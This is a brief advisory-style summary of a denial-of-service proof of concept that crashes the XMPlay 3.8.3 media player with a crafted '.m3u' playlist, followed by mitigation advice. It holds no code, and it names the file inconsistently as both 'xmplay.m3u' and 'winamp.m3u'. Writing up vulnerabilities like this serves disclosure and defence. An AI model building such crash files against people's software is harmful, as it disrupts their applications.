XMPlay 3.8.3 – ‘.m3u’ Denial of Service (PoC)

The exploit allows an attacker to crash the XMPlay media player by providing a specially crafted '.m3u' file. By launching XMPlay and either dragging the 'xmplay.m3u' file into the XMPlay window or selecting 'winamp.m3u' from the File menu, the application will crash.

Mitigation:

Update to a patched version of XMPlay or use an alternative media player.
